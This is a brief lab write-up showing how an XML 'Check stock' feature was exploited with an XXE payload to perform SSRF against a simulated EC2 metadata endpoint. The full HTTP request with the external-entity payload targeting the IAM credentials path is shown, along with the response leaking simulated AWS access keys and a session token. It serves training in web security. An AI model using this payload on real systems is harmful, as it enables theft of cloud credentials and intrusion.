

Exploiting XXE to perform SSRF attacks

1. This lab has a "Check stock" feature that parses XML input and returns any unexpected values in the response.
2. The lab server is running a (simulated) EC2 metadata endpoint at the default URL, which is **<http://169.254.169.254/>**. This endpoint can be used to retrieve data about the instance, some of which might be sensitive.
3. The check stock is done via XML code. I intercepted the request and injected my custom entity that visit that endpoint.
4. When I sent the request, the response was another endpoint. I added it to the URL like this: **<http://169.254.169.254/latest>** and so on till I get the full URL.
5. And finally, I get the metadata.

Request	Response
<pre>16 Accept-Encoding: gzip, deflate, br 17 Accept-Language: en-US,en;q=0.9,ar;q=0.8,fr;q=0.7 18 Priority: u=1, i 19 20 <?xml version="1.0" encoding="UTF-8"?> 21 <!DOCTYPE metadata [22 <!ENTITY xxe SYSTEM 23 "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> 24]> 25 <stockCheck> 26 <productId> 27 &xxe; 28 </productId> 29 <storeId> 30 1 31 </storeId> 32 </stockCheck></pre>	<pre>1 HTTP/2 400 Bad Request 2 Content-Type: application/json; charset=utf-8 3 X-Frame-Options: SAMEORIGIN 4 Content-Length: 552 5 6 "Invalid product ID: { 7 "Code": "Success", 8 "LastUpdated": "2025-10-20T17:46:03.958781633Z", 9 "Type": "AWS-HMAC", 10 "AccessKeyId": "oxewcnEARipUX46Uaud8", 11 "SecretAccessKey": 12 "P6hL3jvtiQ8fd2w4YDxU11bLZE0X04kQ74A2ayHh", 13 "Token": 14 "PKk3uHH8I9J6WS6qhtXcZdVwzogDCJS9PThOVofv9gEK7BU0m 15 f6KqQ5k1F19R5Y93ShRmFixd6LQpKhFaTcFsmCrwobD3d47ED 16 K3T2do2dxKVdJ84mLBzi5xHbYsQTXl1YU12sYKdgKEPymfPMzDow 17 Exo1WeJZzpxZXWgMbmb2Eu108YHY5WVF9Dzdd4WzrohQR44tr0h 18 zmtEjgyhY2uwGtJGQvQORRqm8340kHw1h35pptwxHZzB2MBkWh</pre>